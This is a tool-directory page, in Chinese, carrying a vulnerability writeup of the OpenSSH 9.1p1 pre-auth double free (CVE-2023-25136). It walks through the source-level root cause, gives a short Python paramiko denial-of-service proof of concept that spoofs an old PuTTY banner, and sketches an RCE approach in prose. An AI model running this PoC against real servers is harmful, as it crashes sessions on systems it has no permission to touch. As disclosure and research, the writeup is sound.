Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2023-25136 — OpenSSH Pre-Auth Double Free CVE-2023-25136 – Writeup and Proof-of-Concept | Kitploit
工具/GitHubGitHub/malvika-thakur/cve-2023-25136
Vulnerability AnalysisExploitationPenetration TestingPapers & ResearchLearning & EducationBinary Exploitation
GitHubmalvika-thakur/cve-2023-25136

CVE-2023-25136

OpenSSH Pre-Auth Double Free CVE-2023-25136 – Writeup and Proof-of-Concept

查看仓库
32年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

OpenSSH (CVE-2023-25136) 预认证双重释放 – 分析报告与概念验证

什么是 OpenSSH?

OpenSSH 是一种用于安全通信和远程访问的流行工具。它是作为安全外壳 (SSH) 通信协议的一个免费开源实现而开发的,并广泛应用于各种场景。

OpenSSH 在不安全的网络上的两个不可信主机之间提供安全且加密的连接,使其成为远程访问和安全文件传输的基本工具。

随着云计算和远程服务器访问的日益普及,OpenSSH 已成为系统管理员和开发人员安全访问和管理远程系统的关键工具。

OpenSSH 还支持广泛的操作系统,包括 Linux、macOS 和 Windows,使其成为跨不同操作系统广泛采用的工具。凭借其易用性和强大的安全特性,OpenSSH 已成为安全远程访问的行业标准工具。

漏洞背景

2023 年 2 月 2 日,OpenSSH 发布了 9.2p1 版本并附带了此安全公告。该版本立即引起了关注,因为它包含了一个预认证双重释放漏洞。搜索 OpenSSH 的 GitHub 仓库,可以发现修复提交。

提交信息中提到了 bz3522,这指向由用户 Mantas Mikulėnas 报告的 Bugzilla 问题。

在报告中,Mantas 提到使用了过时的 PuTTY 0.64 版本,并附带了双重释放崩溃的回溯信息。

研究过程

为了深入分析,我们搭建了一个包含存在漏洞的 OpenSSH 9.1p1 的环境,并获取了一份 8 年前(2015 年 2 月 28 日发布)的旧版 PuTTY 0.64 的副本。

尝试用 PuTTY 0.64 连接有漏洞的 OpenSSH 服务器后,返回了以下错误:

1_PuTTY-0 64-致命错误

由于旧版客户端的密钥交换算法不被新版 OpenSSH 支持,我们修改了 sshd_config 文件,在 /etc/ssh/sshd_config 中添加了以下行:KexAlgorithms +diffie-hellman-group1-sha1

重启 SSH 服务器并再次尝试后,返回了以下错误:

2_PuTTY-致命错误

在 sshd_config 中添加另一行配置后,我们成功连接到了有漏洞的 OpenSSH 服务器并复现了崩溃:

HostKeyAlgorithms +ssh-rsa

以调试模式(使用 -ddd 标志)运行服务器,返回了以下调试信息:

ssh_sandbox_violation: unexpected system call (arch:0xc000003e,syscall:20 @ 0x7fd7473fb771) [preauth]

系统调用号 20 是 writev(),这与 Bugzilla 报告一致。

请注意,我们所做的配置更改只是为了通过 PuTTY 复现漏洞,而非漏洞利用所必需的。正如我们在 PoC 中所见,默认配置本身即存在漏洞。

漏洞详细分析

我们首先检查了修复提交,其中指出 compat_kex_proposal() 是导致双重释放的根源。当连接兼容性选项 SSH_OLD_DHGEX 在 [1] 处为真时,第二个参数 p 在 [2] 处被赋给 cp,随后在 [3] 处被释放。

root@kitploit:~
/* 始终返回指向已分配内存的指针,调用者必须释放。 */
char *
compat_kex_proposal(struct ssh *ssh, char *p)
{
    char *cp = NULL;

    if ((ssh->compat & (SSH_BUG_CURVE25519PAD|SSH_OLD_DHGEX)) == 0)
        return xstrdup(p);
    debug2_f("原始 KEX 提案: %s", p);
    if ((ssh->compat & SSH_BUG_CURVE25519PAD) != 0)
        if ((p = match_filter_denylist(p,
            "[email protected]")) == NULL)
            fatal("match_filter_denylist 失败");
    if ((ssh->compat & SSH_OLD_DHGEX) != 0) {               [1]
        cp = p;                                             [2]
        if ((p = match_filter_denylist(p,
            "diffie-hellman-group-exchange-sha256,"
            "diffie-hellman-group-exchange-sha1")) == NULL)
            fatal("match_filter_denylist 失败");
        free(cp);                                           [3]
    }
    debug2_f("兼容 KEX 提案: %s", p);
    if (*p == '\0')
        fatal("未找到支持的密钥交换算法");
    return p;
}

对 compat_kex_proposal() 的调用位于 do_ssh2_kex() 函数内部:

root@kitploit:~
    myproposal[PROPOSAL_KEX_ALGS] = prop_kex = compat_kex_proposal(ssh,
        options.kex_algorithms);

compat_kex_proposal() 中释放的 cp=p 指向参数 options.kex_algorithms。

在源代码中搜索 kex_algorithms,我们遇到了 Bugzilla 报告中崩溃涉及的 assemble_algorithms:

root@kitploit:~
ASSEMBLE(kex_algorithms, def_kex, all_kex);

ASSEMBLE 是调用 kex_assemble_names() 函数的宏:

root@kitploit:~
#define ASSEMBLE(what, defaults, all) \
    do { \
        if ((r = kex_assemble_names(&o->what, defaults, all)) != 0) \
            fatal_fr(r, "%s", #what); \
    } while (0)

kex_assemble_names() 函数被调用时,第一个参数是 o->kex_algorithms 的地址(即 listp)。这就是第二次释放发生的地方。

root@kitploit:~
int
kex_assemble_names(char **listp, const char *def, const char *all)

由于 options.kex_algorithms 句柄已被释放并成为悬空指针,它再次被释放,导致了双重释放。

但 SSH_OLD_DHGEX 选项是在哪里设置的呢?

在 compat_banner() 函数内部,该函数根据 SSH 协议横幅确定 bug 标志。一个名为 check[] 的结构体列出了所有 SSH 客户端 ID 及其标志。以下代码片段显示了被分配 SSH_OLD_DHGEX 选项的客户端 ID。我们还可以看到 WinSCP 也可能触发此行为。

root@kitploit:~
        { "PuTTY_Local:*,"  /* 2014年9月之前的开发版本 */ "PuTTY-Release-0.5*," /* 0.50-0.57, 0.52及以上版本支持DH-GEX */
          "PuTTY_Release_0.5*," /* 0.58-0.59 */
          "PuTTY_Release_0.60*,"
          "PuTTY_Release_0.61*,"
          "PuTTY_Release_0.62*,"
          "PuTTY_Release_0.63*,"
          "PuTTY_Release_0.64*",
                    SSH_OLD_DHGEX },
        { "FuTTY*",     SSH_OLD_DHGEX }, /* Putty 分支 */
        { "WinSCP_release_4*,"
          "WinSCP_release_5.0*,"
          "WinSCP_release_5.1,"
          "WinSCP_release_5.1.*,"
          "WinSCP_release_5.5,"
          "WinSCP_release_5.5.*,"
          "WinSCP_release_5.6,"
          "WinSCP_release_5.6.*,"
          "WinSCP_release_5.7,"
          "WinSCP_release_5.7.1,"
          "WinSCP_release_5.7.2,"
          "WinSCP_release_5.7.3,"
          "WinSCP_release_5.7.4",
                    SSH_OLD_DHGEX },

概念验证 (PoC)

由于 Python 的灵活性和可移植性,我们选择创建一个 Python 拒绝服务概念验证。该概念验证使用 paramiko 包触发双重释放,并导致中止崩溃。

paramiko 是一个广泛使用的 Python SSH 实现,提供服务器和客户端功能。在 PoC 中,我们将连接客户端版本横幅改为反映一个过时的客户端,如 PuTTY v0.64。

可在我们的 GitHub 仓库中获取。

root@kitploit:~
import paramiko


VICTIM_IP = "127.0.1"
CLIENT_ID = "PuTTY_Release_0.64"


def main():
    transport = paramiko.Transport(VICTIM_IP)
    transport.local_version = f"SSH-2.0-{CLIENT_ID}"
    transport.connect(username='', password='')


if __name__ == "__main__":
    main()

RCE 概念验证

该利用方法用另一个名为 EVP_AES_KEY 的结构体替换了被释放的 options.kex_algorithms。当双重释放发生时,这个结构体随后再次被释放。然后它用另一个块(使用 authctxt->user 或 authctxt->style)覆盖其内容。

当 EVP_Cipher() 随后尝试使用这个 EVP_AES_KEY 时,它将使用这个被攻击者控制数据覆盖的块。

漏洞影响

OpenSSH 守护进程监听来自客户端的连接。它为每个传入连接派生一个新的守护进程。派生的守护进程处理密钥交换、加密、认证、命令执行和数据交换。

该漏洞是一个双重释放,理论上可用于拒绝服务(如我们的概念验证所示),甚至可能用于远程代码执行(RCE),但由于存在沙盒和权限分离机制等安全措施,开发一个有效的利用方法被认为困难重重。对于拒绝服务,请注意只有派生的守护进程崩溃(因为尝试调用 writev() 时发生沙盒违规),因此主服务器守护进程仍然可以自由处理新客户端。

此漏洞被评为高严重性,原因如下:

  1. 无需任何前提条件。默认配置即存在漏洞。
  2. 根据最近的一篇出版物,当未应用内存利用缓解措施(如 ASLR 或 NX)时,RCE 是可能的。
  3. 关于拒绝服务攻击,使派生工作进程崩溃的严重性远低于使重要守护进程崩溃的 DoS,但两者在 CVSS 可用性影响评级中都将获得“高”分。
  4. 请注意,OpenSSH 已经采取了安全措施,如沙盒和权限分离机制,但这不应降低可能的 RCE 攻击的严重性。

漏洞目标

该漏洞仅影响默认配置下的 OpenSSH 9.1p1 版本,这意味着无需任何前提条件。

下载工具